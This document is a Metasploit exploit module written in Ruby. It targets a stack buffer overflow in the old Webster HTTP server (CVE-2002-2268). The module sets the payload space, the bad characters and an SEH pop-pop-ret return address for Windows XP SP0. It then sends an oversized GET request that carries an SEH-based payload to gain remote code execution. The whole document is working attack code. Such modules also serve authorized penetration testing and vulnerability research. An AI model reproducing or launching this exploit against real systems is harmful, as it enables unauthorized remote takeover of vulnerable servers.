## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::Seh def initialize(info = {}) super(update_info(info, 'Name' => 'Webster HTTP Server GET Buffer Overflow', 'Description' => %q{ This exploits a stack buffer overflow in the Webster HTTP server. The server and source code was released within an article from the Microsoft Systems Journal in February 1996 titled "Write a Simple HTTP-based Server Using MFC and Windows Sockets". }, 'Author' => [ 'patrick' ], 'References' => [ [ 'CVE', '2002-2268' ], [ 'OSVDB', '44106' ], [ 'BID', '6289' ], [ 'URL', 'http://www.microsoft.com/msj/archive/s25f.aspx' ], [ 'URL', 'http://www.netdave.com/webster/webster.htm' ], ], 'Privileged' => false, 'Payload' => { 'Space' => 1024, 'DisableNops' => true, 'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c", }, 'Platform' => 'win', 'Targets' => [ [ 'Windows XP SP0', { 'Ret' => 0x71aa32ad } ] , # pop esi; pop ebx; ret ws2help.dll winxp [ 'Debug', { 'Ret' => 0x44434241 } ] , # todo - add more targets. ], 'DisclosureDate' => 'Dec 02 2002', 'DefaultTarget' => 0)) end def exploit print_status("Sending request...") seh = generate_seh_payload(target.ret) send_request_raw({ 'uri' => "/" + Rex::Text.rand_text_alphanumeric(266) + seh }, 2) handler end end